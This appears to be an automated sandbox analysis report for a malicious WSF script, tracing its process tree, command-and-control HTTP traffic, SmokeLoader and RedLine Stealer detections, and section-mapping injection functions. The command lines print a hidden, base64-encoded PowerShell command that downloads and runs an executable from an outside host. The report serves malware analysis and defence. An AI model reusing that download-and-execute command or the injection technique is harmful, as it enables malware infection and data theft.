Oct 4, 2024 16:37:33.144922018 CEST	332	OUT	Data Raw: a1 5f 0f 5c f6 36 2a cc c0 3b a7 b9 8c c2 2a 47 50 32 c4 5b 61 bb 36 55 dc 55 cc 18 03 8e 70 55 bf 53 af 8c 4e a3 72 4d 2a cd cd 03 a8 44 19 34 b2 66 7b 55 e2 62 2e 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 1b 1d bc ca bf 4a 73 43 29 be f2 57 4a c4 Data Ascii: _\6;GP2[a6UUpUSNrMD4f{Ub.-^JsC)WJuo6~sN5J52+=#;?',7I$m}QZE_Y+Vd-v\|r7sB?HHek4ybw9>i J(GbXq,ecj8jC]
Oct 4, 2024 16:37:33.488718987 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 14:37:33 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49974	193.46.217.78	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 16:37:30.667890072 CEST	290	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://obbtjayrfmnjdrv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 163 Host: unicexpertmagazine.pw
Oct 4, 2024 16:37:30.667933941 CEST	163	OUT	Data Raw: a1 5f 0f 5c f6 36 2a cc c0 3b a7 b9 8c c2 2a 47 50 32 c4 5b 61 bb 36 55 dc 55 cc 18 03 8e 70 55 bf 53 af 8c 4e a3 72 4d 2a cd cd 03 a8 44 19 34 b2 66 7b 55 e2 62 2e 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 83 3c 7a d5 Data Ascii: _\6;GP2[a6UUpUSNrM*D4f{Ub.-^JrC)<z)1SVK]/gZER)?HQ'jsNIu4xj?@R"`L8
Oct 4, 2024 16:37:32.793679953 CEST	602	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 04 Oct 2024 14:37:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 [TRUNCATED] Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0

Target ID:	0
Start time:	10:36:29
Start date:	04/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf"
Imagebase:	0x7ff6e20b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:36:30
Start date:	04/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Imagebase:	0x7ff7f3c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:36:30
Start date:	04/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:36:30
Start date:	04/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:36:35
Start date:	04/10/2024
Path:	C:\Users\user\AppData\Local\Temp\oBuf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\oBuf.exe"
Imagebase:	0x400000
File size:	222'720 bytes
MD5 hash:	31059E7394B880F017E83804D9B716AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:36:45
Start date:	04/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff70ffd0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	12:03:32
Start date:	04/10/2024
Path:	C:\Users\user\AppData\Roaming\tesubba
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\tesubba
Imagebase:	0x400000
File size:	222'720 bytes
MD5 hash:	31059E7394B880F017E83804D9B716AB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.1688128712.00000000005CD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.1688048281.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FFAACC90A4E Relevance: .5, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1366733857.00007FFAACC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaacc90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4826b53d8e6138fa2a114826cae0d2a545e101d7b5e826c98993e93a119ed71
Instruction ID: e877a764f4b30918da77f3291981ab288041794cf215596810202e4c3415c677
Opcode Fuzzy Hash: e4826b53d8e6138fa2a114826cae0d2a545e101d7b5e826c98993e93a119ed71
Instruction Fuzzy Hash: D4E1176290EB869FF3969B6858665B57FD0EF57210B0841FED08DC70D3EA1D984983C2

Function 00007FFAACC90BB9 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1366733857.00007FFAACC90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACC90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaacc90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1ed105666d62595baeb07e9947c05cd7f8e939cdb83daa04a99ab81d928b04c
Instruction ID: 40218260a13484270e69a99b48cbb9ddfc17d6551953a571bfbbf47042c0b070
Opcode Fuzzy Hash: e1ed105666d62595baeb07e9947c05cd7f8e939cdb83daa04a99ab81d928b04c
Instruction Fuzzy Hash: 7F214562E1FB8A9BF3A59BAC585517876C1EF4B210B4840BAD04DC30D3DE1EEC4883C2

Function 00007FFAACBC33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1365778021.00007FFAACBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaacbc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: c00291851c6933f688f7a36812458a736db23e518c8502221226abf138f4f0b9
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 9201677111CB0D8FD744EF0CE451AA6B7E0FB99364F50056DE58AC3691DB36E882CB45

Analysis Process: oBuf.exePID: 4836, Parent PID: 6016COMMON

Execution Graph

Execution Coverage:	8.5%
Dynamic/Decrypted Code Coverage:	19.9%
Signature Coverage:	49.4%
Total number of Nodes:	156
Total number of Limit Nodes:	6

Executed Functions

Function 00418A70 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418B8B
GetFocus.USER32 ref: 00418B91
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418B9E
FindAtomA.KERNEL32(00000000), ref: 00418BA5
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BBD
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418BC5
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418BDD
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418C04
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C10
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418C26
GetEnvironmentStringsW.KERNEL32 ref: 00418C2C
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418C71
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00418C80
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00418C89
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418C9E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00418CAF
SetCommState.KERNELBASE(00000000,00000000), ref: 00418CD8
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00418D09
GetComputerNameA.KERNEL32(?,?), ref: 00418D1D
CopyFileW.KERNEL32(0041A3AC,0041A380,00000000), ref: 00418D2E
GetFileAttributesA.KERNEL32(00000000), ref: 00418D35
GetConsoleAliasExesLengthW.KERNEL32 ref: 00418D3B
GetBinaryType.KERNEL32(0041A3C8,?), ref: 00418D4D
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00418D60
GetLongPathNameA.KERNEL32(0041A3E4,?,00000000), ref: 00418D73
PurgeComm.KERNEL32(00000000,00000000), ref: 00418D7B
LoadLibraryA.KERNELBASE(0041A3EC), ref: 00418DF2
MoveFileW.KERNEL32(00000000,00000000), ref: 00418E27
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418E4E

Strings

}$, xrefs: 00418E55
k`, xrefs: 00418E2D

Memory Dump Source

Source File: 0000000C.00000002.1425704259.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_40b000_oBuf.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction ID: 0c0e40555d578e92a9f225f047ccd42c64e3c90cdaccad76b264c498dc6ec0a1
Opcode Fuzzy Hash: 27396c0720b35830d8978bde3fab0e4ce9b55130db9d37ea9e37c6b107803055
Instruction Fuzzy Hash: 9FB1A0B1901224ABCB219B65EC58EDF7B78EF49350F00816EF649A3150DB785EC4CFA9

Function 004014DB Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 243
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634

Strings

1, xrefs: 004014F1

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 1
API String ID: 1652636561-2212294583
Opcode ID: a3d0a89ba2f0946d3c73b933561f00ce793550d5be3e53aacc3d784ec313288b
Instruction ID: 7f4d7c4657737381e02ab4131f106e217a3bc84f51a1891dc43a423f49ad99c1
Opcode Fuzzy Hash: a3d0a89ba2f0946d3c73b933561f00ce793550d5be3e53aacc3d784ec313288b
Instruction Fuzzy Hash: 14718D71A00205FFEB209F91CC49FEF7BB8EF85B10F14412AF912BA2E5D6759905CA58

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction ID: 138ec7ca1e8744eb65f40bd9736a53a73cefe8eecd72c79945fcbf62a21b6401
Opcode Fuzzy Hash: 9208168e61d895202d66972dbe02163783dcb6df2364333cde88f6d05e7d9971
Instruction Fuzzy Hash: D9616E71900205FBEB209F95DC49FEB7BB8FF81B00F14412AFA12BA1E4D6749A05DB65

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction ID: 46ca3ae5353e1b2bf85c7e7487c0bf4a09c0837efea8bedcf4105f5ea6450319
Opcode Fuzzy Hash: bf712b81fe7c33e45fb91e121ae8a1411471c4f54e6f2b27f252d32f249b509c
Instruction Fuzzy Hash: 81512971900245BFEF209F91CC48FEB7BB8EF85B00F14416AF912BA1A5D6749945CB24

Function 00401541 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction ID: 68c08b8250816e380b35483fe5a52fcf5a4ffa7bf922b91d474b11e8be87ed95
Opcode Fuzzy Hash: fdd984ed4eabfdf3fe245d48b6addcc777c2a155290e4dc39758af1e8cc42314
Instruction Fuzzy Hash: 99512AB1900205BFEF209F95CC48FEB7BB8EF85B10F14412AFA12BA1E5D6749945CB24

Function 00401545 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction ID: b5c9534ba5f5358dff2a074a80b826bd55324152c05987841a878028393b6fdb
Opcode Fuzzy Hash: 9036e7d1caaa2f73f8ffe8f81ed6686f8338ecb8473fc941f507ff01140d436f
Instruction Fuzzy Hash: 94513AB1900245BFEF209F95CC48FEF7BB8EF85B00F14415AF911BA2A5D6749945CB24

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015E4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401611
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401634
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401652
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401693
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016C4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E6

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction ID: 8d6641cc39e0a23de402a6cd7af9a8bcce9404ceaedab19c941a5a8b34b5f284
Opcode Fuzzy Hash: 7e7aa486a7cba38a24c4655809e077ce32b0d632fdebb8ad14eb01bbdf3cd026
Instruction Fuzzy Hash: 8C5119B1900205BFEF209F95CC48FEFBBB8EF85B00F14411AFA11AA2A5D6759945CB24

Function 00402FFA Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403122
NtTerminateProcess.NTDLL ref: 00403133

Memory Dump Source

Source File: 0000000C.00000002.1425653193.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_oBuf.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction ID: 67905ead67b615cb9fd2ac39997d468ff33d28dd355ca5d175fe45067cf906e9
Opcode Fuzzy Hash: be8e4cb5e493dd895ba0f666486257db29135dc3ef83a78b0b3b9a47898ca96e
Instruction Fuzzy Hash: 8B414732618E0C4FD778EE6CA88966377D5E798351B1643AAD809D3389EE30D85183C5

Function 008E14FF Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008E1527
Module32First.KERNEL32(00000000,00000224), ref: 008E1547

Memory Dump Source

Source File: 0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp, Offset: 008DE000, based on PE: false

